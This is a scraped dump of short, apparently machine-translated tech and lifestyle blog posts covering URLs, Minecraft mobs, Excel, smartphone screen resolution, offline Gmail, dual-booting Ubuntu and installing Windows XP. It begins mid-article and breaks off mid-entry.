doesn't mean it doesn't. Some languages ​​are used to create web pages that hide file names and extensions so that users can remember and type more URLs.\nQuery (query) The query part of a URL is used to identify things that are not part of a fixed path structure. Usually, you will see them used to perform a search or when the site distributes data through the form. This query section begins with a question mark and follows the path (or after the server name if there is no path).\nFor example, below is the URL when performing a search for 'wi-fi extender' on the Amazon site.\n https://www.amazon.com/s/ref=nb_sb_noss_2?url=search-alias%3Daps\u0026amp;field-keywords=wi-fi+extende  The search form has transferred information to Amazon's search engine. Following the question mark are two parts of the query: the URL for the search (that is, 'url = search-alias% 3Daps \u0026amp; field') and the entered keyword (that's 'keywords = wi-fi + extender').\nThis is a fairly simple example and you will often see URLs with different plugins. This example is the URL when searching for the keyword 'quantrimang' on Google.\n https://www.google.com/search?q=quantrimang\u0026amp;oq=quantrimang\u0026amp;aqs=chrome.69i57j69i60j69i65j69i60l2.2397j0j1\u0026amp;sourceid=chrome\u0026amp;ie=UTF-8  As you can see, there is some other information here. In this case you will see the browser used.\nFragmentation (fragment) The final component of the URL you can see is called fragmentation. Fragmentation begins with a pound sign (#) and is used to determine the site's specific location. When writing code for a website, designers can create anchor links for specific text such as titles. When using an appropriate fragment at the end of the URL, your browser will load the page and then move to that anchor link. Anchor links and URLs along with fragmentation are often used to create site indexes to make navigation easier.\nAs you can see, this article is divided into 2 sections, each with a sub-section. Each title on this page has an anchor link and the table of contents at the top of the article includes a link so you can jump to different sections quickly.\nSee more:\n10 ways to shorten the URL link on the browser Instructions on how to delete URLs automatically suggested in Chrome browser Instructions for fast copying URLs of open tabs in Firefox browser ncG1vNJzZmismaXArq3KnmWcp51kuaat0adkmpqfqsFuwdGlqg%3D%3D\n","link":"/post/learn-about-urls/","section":"post","tags":null,"title":"Learn about URLs"},{"body":"The fact that Nguyen Ha Dong plans to sue games with gameplay similar to Flappy Bird on Apple is obviously a step to prepare for the return of his famous game in August.\nRecently, according to new information received, Nguyen Ha Dong , author of the famous mobile game Flappy Bird is planning to sue the game with gameplay similar to his game.\n  Nguyen Ha Dong plans to sue games with similar gameplay to Flappy Bird.\nReportedly, DotGear Studio ( the company founded by Nguyen Ha Dong ) is trying to sue some games with gameplay similar to Flappy Bird with Apple. Especially, in these titles, there are also games produced by Vietnamese Studio, most notably Iron Bird designed by Developer Vo Huy Phuong .\nThe fact that Nguyen Ha Dong plans to sue games with gameplay similar to Flappy Bird on Apple is obviously a step to prepare for the return of his famous game in August.\n  Iron Bird - A game with the same gameplay as Flappy Bird.\nNot long ago, Nguyen Ha Dong also revealed the information that he will launch another Flappy Bird version in August 2014. Accordingly, this new Flappy Bird version will have more modes for multiple players at the same time, and will be . reduced to addictive.\nncG1vNJzZmismaXArq3KnmWcp51ku6jB2J6lZqCRYrGwusZmrqKknGLAtrGMrZ%2BeZZeWuqa%2FjKygpqGclr9uwM5mnaWZoKXGbq7Iq5s%3D\n","link":"/post/nguyen-ha-dong-will-sue-the-games-similar-to-flappy-bird/","section":"post","tags":null,"title":"Nguyen Ha Dong will sue the games similar to Flappy Bird"},{"body":"In Survival Minecraft mode, in addition to having to survive by exploiting resources, making tools, building houses to stay and not to starve your character, you will have to learn how to hunt Animals around to find food.\nMost of the food you earn in this Survival mode comes from animals. In addition to meat, they can give you a few other items to create clothes, wool to build houses, beds .\nHowever, there are animals that you can hardly touch in Minecraft because they can attack you again. Others can attack you before you touch them, to distinguish the types of animals in Minecraft you can look through the list of animals in Minecraft Survival mode below this article.\nHow to get free skins for Minecraft Earth Instructions for registering a Minecraft account Configure playing Minecraft on the computer Gentle animals in Minecraft   These animals are quite gentle and often a food source for players in Survival mode. Most of them are found everywhere in the world of Minecraft, when attacked they will not be able to know.\nSome common animals are Chicken, Cow, Sheep, Pig . most of these animals can breed, so you can farm, raise and harvest products from them. Here is a list of the most gentle actions in Minecraft.\nSheep Cow Pig Chicken Fox Bat Cod Ocelot Rabbit Salmon Mooshroom Squid Tropical fish Turtle Villager Wandering trader Pufferfish Some animals can be tamed, tamed in Minecraft Donkey Parrot Mule Skeleton horse Horse Cat Some neutral animals in Minecraft   Called neutral animals because they normally act like the gentle animals in Minecraft above. But if the player or other animals attack, they will \"respond\".\nIn this group, there are also some animals that will attack themselves if they meet their prey. For example, Wolf will automatically attack Fox, Rabbit or Sheep.\nPolar Bear Dolphin Trader Llama Llama Panda Wolf Bee Iron golem Some of the animals and monsters below will work a little differently than the neutral animals mentioned above.\nSpider Cave Spider Enderman Zombie Pigman Dangerous monsters in Minecraft   These animals and monsters are classified as dangerous because they will automatically attack the player if they stand in their detection area, or when you appear in front of them without obstacles.\nTypically, they will attack players within 16 cells of normal monsters. However, with special monsters or bosses, they will sniff the player from a distance of 100 cells. There are some more special types that will find players at any distance (Ender Dragon, Wither).\nEvoker Vindicator Husk Stray Phantom Blaze Creeper Ghast Magma Cube Silverfish Skeleton Pillager Ravager Vex Chicken Jockey Endermite Guardian Elder Guardian Shulker Skeleton Horseman Slime Spider Jockey Zombie Zombie Villager Drowned Wither Skeleton witch Above is the whole animal / monster in Minecraft is divided into many different categories for you to distinguish. Thanks to that, you can avoid the threats from dangerous monsters and can earn from the gentle animals that provide food and useful items for you in Survival mode.\nncG1vNJzZmismaXArq3KnmWcp51kwLa5zJqporKVYq6tuIympqerpJq%2FtHnIp2SmoZ6asLOtxa1krK2iq7a3rctmpKiclQ%3D%3D\n","link":"/post/summarize-all-monsters-in-minecraft-survival-mode/","section":"post","tags":null,"title":"Summarize all monsters in Minecraft Survival mode"},{"body":"Using Excel is really convenient, but we still can not do it because do not really understand their features properly. Here we will tell you the difference in line breaks in the same cell of Excel 2007 and 2010.\n Excel 97-2003 currently has very few users, because the installed version is no longer suitable and the toolbars are hidden in, difficult operations, the interface is difficult to adjust.Therefore, Excel 2007-2010 was created to meet many beautiful and smart interface properties, toolbars are displayed right outside the screen, suitable for all manipulation objects.\nSimilarity : There are many ways to manipulate text breaks in the same cell in Excel: Method 1: Put the mouse in the cell need to go down / select the right mouse button, select Format Cells / Select Alignment / Select Wrap text.\n  Check Wrap Text:\n  Method 2 : Select the mouse in the cell need to down / select the icon on the toolbar / the word will automatically jump to the line.\n  Differences:\nIf in the same box you want to use a newline, you can choose the above two ways to manipulate right in your lesson, but the above two methods only apply to the words that overflow into the next box. automatically push down other lines.\nCase 1 in the same cell, but the letters fit in a cell, do not overflow to the cell next to you select the position to line, press Alt + Enter.\nIn another case, if you want all the following lines to go down the same line as in case 1, using the Alt + Enter key combination, it will be hard, because we have to do each line and cell one by one. Therefore, if you want the below lines to get down to the line, you should choose according to Method 2, select Wrap text automatically to line or highlight the line / Select right mouse / Select Copy / Select locations to copy / Select Paste.\nncG1vNJzZmismaXArq3KnmWcp51kwamxjKyYpp1dlrulecOinZ%2Bdopq7tXnWoZynZZ%2Bjsm64yKecZpqimq6secinZJ6wk5q5\n","link":"/post/the-same-and-different-when-one-line-break-in-excel/","section":"post","tags":null,"title":"The same and different when one line break in Excel"},{"body":"Display technology is one of the essential platforms that determines the quality of a smartphone today, especially on high-end smartphones. After all, our daily operations are interacting with the screen of the device. Therefore, the quality of the screen is one of the factors that smartphone manufacturers put on top.\nAlthough at the present time, the race for screen resolution is no longer a popular trend of the year as before, but WQHD + (Wide Quad High Definition) resolution, also known as 2K + ( In fact, 2.5K and 3K) are still considered as one of the must-have standards on high-end smartphones today. Even with Sony, it also brings a 4K screen to the Xperia smartphone.\n Sony Xperia 1 is a rare smartphone on the market equipped with a 4K screen\nHowever, despite the popularity of high-resolution displays, a large number of high-end smartphones today leave the default resolution setting as Full HD + (approximately 2400 x 1080 and depending on the aspect ratio). Figure). That's right, you didn't hear wrong, users spend a lot of money to own high-end smartphones with sharp screens, but if you do not know how to set up, you will not be able to use all the \"functions\" of the screen. QHD + image (approx. 3200 x 1440).\nQHD is no longer important in 2020\nSamsung is one of the first smartphone manufacturers to apply this method on the Galaxy S series, i.e., the default resolution setting is Full HD +. For example, Galaxy S20 Ultra, although its screen has a resolution of 3200 x 1440, but it is only set to display in Full HD + only.\n By default, the S20 Ultra will only display in Full HD + resolution like this\nNot only Samsung, a number of other manufacturers also follow this \"trend\", such as Huawei, OnePlus or LG . All are default for users to use Full HD + resolution if not adjusted begin again.\n For example, some smartphones have high-resolution screens but the manufacturer has set the default display at a lower level.\nThe reason behind this quirky \"trend\" is battery life. As we all know, battery technology is one of the least developed technologies on a smartphone. In order to increase battery life, manufacturers have no choice but to increase battery capacity and reduce charging time (fast charging). Even with smartphones with a large battery capacity of 5000mAh like the Galaxy S20 Ultra, carrying too much technology and features will still be a \"nightmare\" for any battery.\nThis \"nightmare\" is becoming more \"catastrophic\" as the trend of high frequency screen scanning and 5G mobile network technology becomes common. In order to meet the standard battery life of users, now the solution that can be considered as the only solution besides increasing the battery capacity is to set the device to use the default only in Full HD + resolution. . Using a smartphone at QHD + resolution plus a high refresh rate may consume more power than you think. That is also why the iPhone 11 with a much lower HD + screen is one of the smartphones rated as having the highest battery life on the market.\n High-end smartphones today will be indispensable for a screen with a high refresh rate\nWhile users can still set themselves to a higher resolution to use up the machine's capacity, but what they trade off will be about battery life, which no other manufacturer. dare to commit once the user \"goes back\" to what was initially set to default. In fact, the majority of ordinary users will not spend time \"rummaging through\" Machine settings to change what has been set up.\nNot to mention, in the past, we have a series of high-end smartphones launched without QHD + screen, instead of a traditional Full HD + screen, such as LG V60. , LG Velvet, Xiaomi Mi 10 or even the standard Galaxy Note10 . Obviously, today's QHD / QHD + screen resolution is no longer an important factor for smartphone manufacturers compared to a few years ago. .\nWhy is Full HD + more popular among manufacturers?\nAs mentioned above, Samsung is one of the pioneering manufacturers in deciding to stick with the default Full HD + resolution to provide a better battery life for smartphones. Samsung lets users decide whether they should trade the battery life for a slight improvement in display quality. And because it's a user's decision, other manufacturers aren't afraid to do the same.\nOne thing that users need to keep in mind is the limitation of the human eye. Not every higher resolution screen the more we feel better. At the distance the most common smartphone is used, it is difficult for the human eye to distinguish discrete pixels when the screen has a pixel density greater than 300 ppi. For smartphones with today's Full HD + resolution, even on 6-inch screens, the pixel density is well above 400 ppi and declines as the screen size increases.\n At a pixel density above 300 ppi and with normal smartphone usage, it is difficult for the human eye to distinguish discrete pixels.\nAt the 6.7-inch size of the Xiaomi Mi 10 and the Full HD + resolution, this density is also above 380 ppi, it is difficult for the naked eye to be able to distinguish each pixel, even for those with super vision. good.\nSo the fact that manufacturers equip smartphones with a high-resolution screen is not necessarily a good move if they do not solve the problems of battery life and associated technologies (frequency high scan numbers, 5G, . technologies that consume a lot of energy).\nBalancing between screen refresh rate and new resolution is essential\nQHD / QHD + or WQHD + resolution has proved its ineffectiveness in daily use. They consume more battery power to provide a slightly better experience, and are even harder to distinguish.\nAt a time when \"home is 90Hz, people 120Hz\", the new battery life is the factor that manufacturers need to put on top. While the high refresh rate can be easily distinguished from the standard 60Hz frequency, manufacturers need to balance the screen resolution with the machine's scan frequency to provide a better experience. but it doesn't take too much battery. After all, screen resolution is just a factor not too important in the experience of using the screen, and most will expect a smartphone with a battery life to meet 1 day of use.\n Smartphones with high-frequency scan screens are preferred\nAccording to a survey by the Android Authority about whether Quad HD displays are really necessary for smartphones today, among 3141 votes, nearly 40% of users chose only smartphones with Full HD screen. , nearly 40% said that they would choose Full HD, but still wanted the Quad HD option in the settings. The rest want Quad HD and 4K screens on smartphones for only 15% and 9.8% respectively.\n Survey of Android Authority page with 3141 votes\nMuch of the current media content is shared in Full HD\nEqually important in determining the fate of QHD resolution is that most media sharing platforms are limited to Full HD resolution, like Netflix (if you're watching on smartphones with Widevine L1 certification will be able to watch up to Full HD) or YouTube (most videos still play only in Full HD) .\n Regardless of whether your smartphone has a 4K screen, Netflix for phones will only stream in up to 1080p quality (even when signing up for a 4K UHD package).\nUpscale Full HD content for viewing on a 1440p (QHD) screen can make quality worse, while consuming more power for the CPU to handle. That's because in order to upscale a 1080p content to 1440p, the CPU will need to process each pixel at 1.3x, thereby making the pixels less sharp due to rounding. Meanwhile, upscale 1080p content to 4K is easier because each pixel only needs to be raised 4 times (4x), making content look sharp when displayed on 4K screens.\nIsn't it better to \"kill\" QHD + resolution?\nWe already see the huge potential for QHD + resolution on smartphones, so why not manufacturers remove this resolution as well? Just to reduce product costs, both help increase battery life of smartphones.\nThings are not so simple. Any smartphone brand that launches a new product, especially a flagship, will announce top-of-the-line specs on the market. That is also the reason why announcing a high-end smartphone with a ridiculously high price, but having only a Full HD + screen will be a laughable thing for any technology user.\n Quad HD + resolution will remain a standard on high-end smartphones\nSo, after all, smartphones will still have QHD + screens until we have a completely new solution on battery technology on smartphones. At what resolution does the screen usage option allow users to decide for themselves what their smartphone needs? A super sharp quality screen? Or a better battery life?\nncG1vNJzZmismaXArq3KnmWcp51kxKmxzWabopxdprWledGeqqikpam2sLqMm5ycp52aerTBwqFkmqZdpL21tc6nZKGhlJmyr3nOp2SspZGnwbG0zqecrA%3D%3D\n","link":"/post/when-did-qhd-resolution-become-such-an-option-hidden-on-smartphones/","section":"post","tags":null,"title":"When did QHD + resolution become such an option hidden on smartphones?"},{"body":"You are in the situation where you want to take a screenshot of the phone but cannot capture it. The following article will introduce to you some of the reasons why this problem occurs as well as how to fix it!\nOn Android phones, you will experience the problem of not being able to take a screenshot while in Incognito mode of the Chrome browser. This is probably due to a software conflict between Android and Google Chrome, you will have to wait a while for these two companies to fix.\n  The only way to fix it is to switch to a different browser like FireFox, Opera, Microsoft Edge, . Except for Chrome, in other browsers you can still take screenshots while in mode. Anonymity level.\n  Some specific applications will prevent users from taking screenshots in order to avoid leaking user information when taking screenshots. These applications are usually financial applications, banking, . or internal applications of companies, businesses, schools.\n  When you use your phone to access unknown websites, your phone may have been infected with malware. The main purpose of preventing screenshots is to keep these malware from running in the background inside your phone, accessing your data - in this case, screenshots and sending a copy of the screenshot. Your picture comes to the bad guy.\n  As with app privacy policies, companies often give their key employees a separate phone for business convenience and have it installed to prevent screenshots. This is to prevent important company information from being leaked out.\n  If this is a corporate policy, you should comply. The best way is to buy another phone for your personal use, while your old phone is for work.\nAbove are information about the reason why you cannot take the screenshot as well as how to fix it. Thank you for watching and see you in the following articles.\nhow to fix it ncG1vNJzZmismaXArq3KnmWcp51kgG7DwLKqZqyfYrOqxIytn55llae%2FsL6MnJinZZ6kwW7AwKScZquTp7KmutKhpq2rXZeypK3UrJxmp5ZivbO11ZqasmWgpLmqr9g%3D\n","link":"/post/3-ways-to-fix-the-error-can-not-take-screenshots-because-of-privacy-policy/","section":"post","tags":null,"title":"3 ways to fix the error can not take screenshots because of privacy policy"},{"body":"CyberLink Screen Recorder 2 is a software for streaming, video recording and professional video editing. It has all the advanced video editing features from PowerDirector combined with high-quality screen and streaming technology to give users an all-in-one solution to stream cool video gameplay, vlogs or share. screen with online audience.\n  CyberLink Screen Recorder 2 is currently free of copyright on Sharewareonsale until the end of 16h June 14, 2018. If you need to use it, please quickly register to own CyberLink Screen Recorder 2 copyright without spending any money Please!\nHow to own a free CyberLink Screen Recorder 2 license:\nStep 1: Access the Sharewareonsale promotion page according to the link below and click on the DOWNLOAD CYBERLINK SCREEN RECORDER 2 NOW line.\nhttps://sharewareonsale.com/s/free-cyberlink-screen-recorder-2-100-discount   Step 2: In the new window, fill in the required information and press the GIVE IT button TO ME NOW.\n  Step 3: The website displays copyright information appears, and the installation file will be automatically downloaded. You just need to proceed with the normal installation and activate the license key to own this useful software forever.\n  Note:\nCyberLink Screen Recorder 2's free copyright program only lasts until 16h00 on June 14, 2018. Since this is a free version, you cannot update to a newer version. In addition to CyberLink Screen Recorder 2, you can also refer to some of the following screen capture tools:\nInstructions for rotating screen, video game using Bandicam software How to use Xbox Game DVR to record screen in Windows 10 Instructions for filming the screen with CyberLink Youcam See more:\nInvite the application to turn the iPhone device into a second screen for your computer, which is free 20 free 3D modeling software 50+ websites download the best free sound effects ncG1vNJzZmismaXArq3KnmWcp51ksbDDzaWmmpxdmMajsdGloKejXaiws7HEp2SrnZOkv6Wx0WZpZpldq7alsc5mqZ6bn6exqrrGZqqonqSsrrOxjJ%2Bmq2ViboZ6ecWrnJ5ln5t6pLTAq56e\n","link":"/post/download-cyberlink-screen-recorder-2-a-video-recording-software-for-29-99-free-of-charge/","section":"post","tags":null,"title":"Download CyberLink Screen Recorder 2, a video recording software for $ 29.99, free of charge"},{"body":"Network administrators - Webmail providers allow you to check and send mail on any computer via a web browser. You can then log in at home, work, school, or anywhere without having to install or configure email clients, such as Outlook or Thunderbird .\nHowever, the disadvantages of these webmail are that you must be online all the time while reading and composing your emails. To overcome this problem, Google has provided a new, Offline Gmail feature that allows you to read and edit messages without online. When you are on an airplane, on the road or in a situation where you do not have a network connection, you can still write emails to send later or read downloaded messages. In this article we will show you how to use and set up this new feature, as well as access Gmail with client applications.\n  Offline email access\nWhen configuring an email client application configuration with a provider, you only need to go online to sync your email. When offline, you can compose a message and press Send , then the message will be transferred to the Outbox . In addition, you can read messages sent from others and open attachments, knowing that these messages and attachments have been downloaded to your computer during synchronization. When online comes back, the messages in the Outbox will be sent and new messages on the server will be downloaded to your computer.\nTo help users get this offline capability with Gmail, Google Labs recently released Offline Gmail. It uses Google's Gears plug-in, allowing you to download web applications and run them in the browser without online. Once installed, Offline Gmail is opened in the browser and displays Gmail's web interface, where you can read and compose messages whether online or not.\nJust like with other email clients, when online returns to Offline Gmail will sync your email. When using Offline Gmail, you probably won't feel like you're offline, the only difference is that you can't actually send and receive new messages.\nThe ability to check and compose messages while offline with Gmail is not new. From the first day, Gmail provided POP3 / IMAP access to their servers. You can use the email client application to check and send mail through your Gmail account. However, this method requires a lot of setup and configuration operations.\nSet up and use Gmail Offline\nIf you want to try this new Office Gmail feature, log in to your Gmail account, click the Settings link in the upper right corner of the screen, then click the Labs tab. In the Offline section, select Enable , then click Save Changes . After the browser reloads , you will see a new link \" Offline 0.1 \" next to your username, the top right corner of the browser. To start the automatic installation of features and Gears, click on that link.\nStarting here, when you go to Gmail and online, Offline Gmail will automatically sync by downloading new messages to your computer. So when you are no longer connected to the Internet, you can still read mail normally. In addition, you can double-click the Gmail icon on the desktop, start menu or quick launch menu when offline to display the offline version of Gmail. You can also use this shortcut when online, then you will see a regular interface.\nThere are a few minor differences in the offline and online interfaces; When offline, you cannot change the settings. To check Offline Gmail status, simply hover over the new icon in the upper right corner of the web browser.\nIf you are using an unreliable Internet connection, such as a remote Wi-Fi hotspot, you can set Offline Gmail in Flaky Connection Mode . This mode will cause Gmail to use downloaded data or stored in the cache as if you disconnected, but will automatically sync your mail automatically. This will avoid errors when you disconnect from the Internet during the mailing process or change the settings. To enable or disable Flaky Connection Mode , simply hover your mouse over the icon in the upper right corner of the browser and click the link.\nConfigure and use email client\nIf you prefer to use the email client application, you must choose the access type, POP3 (or just call POP in Gmail) or IMAP. Using IMAP is the best way if you check your email from multiple computers or devices, as messages are always maintained on the server. Messages in folders (Inbox, Drafts, Old, Sent, .) will appear the same on computers. POP3 access does not provide this email storage feature. When POP3 is selected, the messages will be downloaded to the client, but then from other clients you will not be able to retrieve the messages.\nHowever, there is a problem with IMAP: the number of messages saved on your computer will be limited by the amount of space you are allowed to use (for example, Gmail currently allows you to 7GB), with no amount This space will be completely OK if you delete old messages from time to time. However, if you want to keep and store all your messages and attachments indefinitely, you will surely have a problem with this restriction someday.\nWhen choosing the type of access, you must enable it for your Gmail account. Log in to your account, click the Settings link, click Forwarding, and POP / IMAP tab. Then select the POP or IMAP option and click Save Changes .\nYou can now configure your email client application. The server address for incoming email is pop.gmail.com for POP3 access (on SSL 995 port) and imap.gmail.com for IMAP access (on SSL 993 port). The outgoing email server (SMTP) is smtp.gmail.com for both types (on SSL 965 port) with authentication. For server login certificates, use Gmail's email address for its username and password for the server password.\nTo configure specific client applications, use Gmail's Instructions Instructions in the Forwarding and POP / IMAP section of your account settings page.\nncG1vNJzZmismaXArq3KnmWcp51ktK6tyKVkqJ6WobavsYyepJqhnGKxsLHSZqWorF2jsqawjK2mZpqVYryvuMinnA%3D%3D\n","link":"/post/email-does-not-need-to-be-online/","section":"post","tags":null,"title":"Email does not need to be online"},{"body":" If you're not the type of person who finds it easy to relax and just 'go with the flow,' you may think it's impossible to learn how to project a cool and 'laid back' vibe. Luckily, you can be cool and laid-back if you learn how to...\nBreathing Easy  Observe your surroundings. Take a moment. See and note whatever's around you. Pay particular attention to colors, shapes, and textures. The idea is to be present in the moment. You can't be cool and laid-back if constant thoughts of the past or the future are tugging on your sleeve. Consider the positioning of your body. Where are your feet? How do they feel? In what position are your hands? Your head? Your shoulders? You don't have to be a new-age spiritualist to recognize how your body feels. [1]   Sit down, take a long deep breath, and briefly close your eyes. This is your chance to sink into relaxation through the 4-7-8 Breathing technique.[2]\n  Breathe through your nose for four seconds, hold your breath for seven seconds, and exhale through your mouth for eight seconds. You should begin to feel your body slow down into a relaxed state. [3] Repeat this breathing technique. Remember: don't worry yet about looking or being 'cool'; now you just want your body to find its safe space. Tell yourself affirmations. (i.e. 'You have a lot to offer this dinner party. You're going to have a great time.') You might feel silly saying such things to yourself, but hopefully, with your body rested and your mind open, you'll at least give such affirmations a chance. You want to not just say the words, but feel them in your bones. [4]   Open your eyes as if waking up from a sleep. Slowly enter the 'real' world, but be open to resume practicing this breathing and perception technique whenever you want to settle down. [5]\n  Consider meditation. Meditation isn't for everybody, but for some people, it is a great tool for relaxation of the body and the soul. All you need to get started is a commitment to trying something new, and five minutes of your day. [6] Find a quiet spot that is comfortable but not sleep-inducing. Keep your spine tall, close your eyes, and begin to slowly breathe in and out. Follow your breath. Focus on the feeling of the air passing, and the area between your nose and your upper lip.[7] Don't try to control your thoughts; let them come to you. Some people need help getting in the right frame of mind for meditation. Consider listening to a guided meditation podcast or attending a class. [8]  Fighting Anxiety  Exercise. It's no secret that regular cardiovascular exercise releases endorphins and plainly makes your body feels better. While not everyone is destined to be a gym rat or a sports fiend, everyone can make a list of their favorite activities. Think outside the box: for example, maybe you've always wanted to try hiking. Search for local hiking groups.   Sleep well. Your brain needs rest. Try wearing a sleep mask and/or listening to white noise to create a peaceful environment. Avoid things like caffeine, alcohol, and drugs. While these substances may temporarily reduce anxiety, they end up making it worse in the long-term. [9]   Stop sweating the small things. A key component of being 'laid-back' is to refuse to let life's little annoyances rattle your composure. When you're getting irritated or angry, pause to think about what's causing your anger. Psychologists speak of the power of reframing events, of activating the reasoning brain to bring balance to the emotional brain.[10] If you're running late for an important appointment, reframe the situation from one of distress and disappointment into a problem-solving opportunity. Even if you can't figure out a solution, just considering possibilities will lower the bar on your emotional volume and put you in a more positive state.[11]   Remember that the only person you can control is yourself. Many people will come and go in your life; some will make you feel good, others won't. No matter how much work you do to become cool and laid-back, there will be negative people in the world. Treasure the fact that you can always work to improve your state of mind notwithstanding what stands in your way.   Consider professional counseling. Professional counseling might be a good idea if you're confronted with issues in your life that are too overwhelming to confront on your own. Some people struggle with clinical anxiety disorders. Generalized anxiety disorder (GAD) shows itself through an excessive anxiety about everyday things like money, relationships, health, and school. [12] If you're unsure whether or not the anxiety you're experiencing is excessive, it's not a bad idea to see a therapist and get a diagnosis.[13] Being cool and laid-back may not be the right goal for you just yet if there are other obstacles you need to conquer first.  Acting Cool  Know that less is more. Less movement, less speech, less babbling, and less appearance of trying too hard add up to more cool.[14] Cool people don't overexplain. When you speak, think 'more mystery, less history.' Practice being still and speaking slowly, as if you know exactly what you're going to say even if you don't. You are Tony Stark in Iron Man. Tony Stark does not fidget.[15] Practice opening up your body by taking up a little more space than you usually do in a room. Make sure your arms aren't crossed over chest. A \"power posture\" can actually convince you, and others, that you are powerful. [16]   Expect to be seen as cool. The expectation, if you make yourself believe it, can have real world effects on the people you encounter. Like an athlete \"in the zone\" whose skills are working on an almost unconscious level, your conviction of cool can take on a life of its own and make others notice. [17] Your body language will reflect the coolness you feel inside. [18]   Be a rebel, or at least look like you're a rebel. If you're seen as somebody who knows the rules and breaks them, the presumption is that you're cool. This is not a suggestion to get yourself arrested, but rather just a statement that someone who breaks the rules is often seen, for better or for worse, as powerful. [19] You don't want to look like a billboard for all the trends. [20][21] Close your eyes and picture the coolest version of yourself. What are you wearing? What are you doing? Who's looking at you and how are they reacting to you? How are you feeling? Open your eyes and go about attaining that look you envisioned. Even if it won't stick, it is at least a legitimate attempt at a coolness from within yourself.   Know the limitations of cool. While it's unquestionably true that being and showing 'cool' opens doors, an appearance of 'cool' can be a mere gloss over real deficiencies in character. A recent study has shown that teenagers considered to be 'cool' in high school actually faced more challenges in their adulthood when it came to friendships, relationships, substance abuse, criminal behavior, and overall maturity. The idea behind the findings was that coolness has a shallow quality not conducive to self-actualization. [22] Coolness is not the best attitude for every occasion. If you show real interest in others, you'll feel good about yourself and people will feel good about you, even if you don't come off as \"cool\". [23] Genuine confidence and self-esteem sometimes, but not always, go hand in hand with cool. Keep developing yourself as a person engaged with the world, curious to improve, to learn, to be better. Thereafter, \"cool\" will be a characteristic of yours, but not the most important one.   Marvin Fry Update 10 April 2020\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZpqVYrCwu8tmmKecXaGuqrCMm5icow%3D%3D\n","link":"/post/how-to-be-cool-and-laid-back/","section":"post","tags":null,"title":"How to Be Cool and Laid Back"},{"body":" Looking to Dual boot Ubuntu (or other compatible Linux distros) with a Windows 8 PC or laptop? This is the best and possibly the simplest, most straight forward way to do it! Assuming you have a Windows 8 PC or laptop and an Ubuntu 64-bit...\nMethod 1of 2:\nPart One: Partitioning the Hard Drive  Assuming you have a Windows 8 PC or laptop and an Ubuntu 64-bit (or other 64-bit Distro) disk or USB ready, create a backup of your Windows 8 Installation just in case.\n  Create a partition where you will install Linux using Windows Disk management.\n  If you want to install an Ubuntu system in one partition and the files and folders in another, create 2 partitions, one about 30GB (but at least 15GB), and the other for your files and folders. The partition for your files and folders can be as large as you like.\n  You're almost ready to start the installation. The next few steps are where things may differ, depending on the PC.\n  Enter your BIOS settings to change a few things.\n  Find, and disable Fastboot.\n  Find the UEFI settings (in boot section of BIOS settings) and change the settings to allow \"other OS\" to boot. Make sure that you do this correctly.  Method 2of 2:\nPart Two: Installing Ubuntu  In boot options in your BIOS, find and select the Ubuntu UEFI option to boot. If you don't do this, the Ubuntu installation will not boot.\n  Using your Ubuntu DVD or USB, start the installation process.\n  When you've reached the options screen, choose the \"something else\" option.\n  Find the empty space you created in Windows.\n  Create a swap partition. Choose the empty space and create a partition that is equal to your RAM (the swap partition is named swap).\n  Create a root partition. This will hold your Ubuntu systems' files' application data, so make at least 15GB, but 30GB is an ideal size imo (the root partition is named ./).\n  Create a partition for your files and folders with the empty space left over on the created partition (this partition is named /Home).\n  Click on the partition you create for the System (./) and install Ubuntu. Upon reboot, if all was done correctly, you will get the grub screen.\n  Kareem Winters Update 04 March 2020\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZpyllrlurs6oq2aZXZi8rrzAraCbpJViuaq61LFknaGjqb%2Bwedaiq6Flp567pbvWrGRx\n","link":"/post/how-to-dual-boot-a-compatible-linux-distro-with-windows-8/","section":"post","tags":null,"title":"How to Dual Boot a Compatible Linux Distro with Windows 8"},{"body":" Windows XP is one of Microsoft's most popular operating systems, and though it's starting to show its age, many people still use it exclusively. Whether you've got an old computer that you want to get functioning again or you want to...\nPart 1of 3:\nSetup  Ensure that your computer can run Windows XP. Your computer will need to meet or exceed the minimum system requirements in order to run Windows XP. You can find your system information by either checking the computer manufacturer's manual, or by running DirectX Diagnostic on an existing Windows operating system of the computer. To start the DirectX Diagnostic, open the Run dialog (press WinKey+R simultaneously), type dxdiag, and click OK. Minimum System Requirements 300 MHz Intel or AMD CPU 128 megabytes (MB) of system RAM 1.5 gigabytes (GB) of available drive space Super VGA (800x600) or higher display adapter CD or DVD-ROM Keyboard and mouse, or other pointing devices Network Interface Adapter required for Internet and Network Connectivity Sound card and speakers or headphones    Find your Windows XP Product Key. It is printed on a sticker on your software package or located on the computer itself. It is a string of 5 groups of characters (each 5 long), separated by dashes, resulting in 25 characters in all. You need the product key to complete installing Windows.\n  Set your computer to boot from CD/DVD. Before inserting the CD, you'll need to set your computer to boot from a CD instead of from the hard drive. This will allow you to load the Windows XP setup files before your computer boots to its installed operating system. You can change the boot order from the BOOT menu in your BIOS. To enter the BIOS of your computer, you usually press F9 or DEL when your computer starts or notifies you that you can enter \"setup\". Click the green \"BIOS\" link for more information. [1] In the BOOT menu, set the order so that your CD/DVD-ROM drive is set as the 1st Boot Device. If you are installing Windows XP from a USB drive, make sure that the USB drive is set as the 1st Boot Device. You may need to have the USB drive inserted for it to appear as an option.  Part 2of 3:\nInstallation  Load the installer. Once your Boot Order is set, insert the Windows XP CD into your drive and Save and Exit from the BIOS. Your computer will reboot and you will be presented with the message: Press any key to boot from CD. Press any key on your keyboard to start the Setup program. Setup will load files necessary to begin the installation, which may take a few moments. Once the loading is complete, you will be taken to the Welcome screen.   Press ENTER to begin installation. Once the loading is complete, you will be taken to the Welcome screen. You are given several options, but if you are installing or reinstalling Windows XP, you'll want to press ENTER to start the installation configuration.\n  Read the License Agreement. This document tells you what you can and can't do with Windows, and your rights as the consumer. After reading, press F8 indicating you agree to the terms.\n  Select the partition you want to install on. You will see a list of available partitions on your installed hard drives. If you are installing Windows XP on a new hard drive, you should see only one entry labeled \"Unpartitioned space.\" If you have a previous version of Windows or Linux installed on your computer, you will potentially have multiple partitions. Installing Windows XP will erase all of the data on the partition that you choose. Select a partition that is empty or that contains data that you do not care to lose. You can delete your partitions with the 'D' key. This will return them to 'Unpartitioned space'. Any data on the partition will be lost when it is deleted.   Create a new partition. Select the Unpartitioned space and press 'C'. This will open a new screen where you can set the partition's size from the available space. Enter the size in megabytes (MB) for the new partition and then press ENTER. By default, the partition will be set to the maximum amount of available space. Unless you plan on creating multiple partitions, you can usually leave this at its default. Windows XP 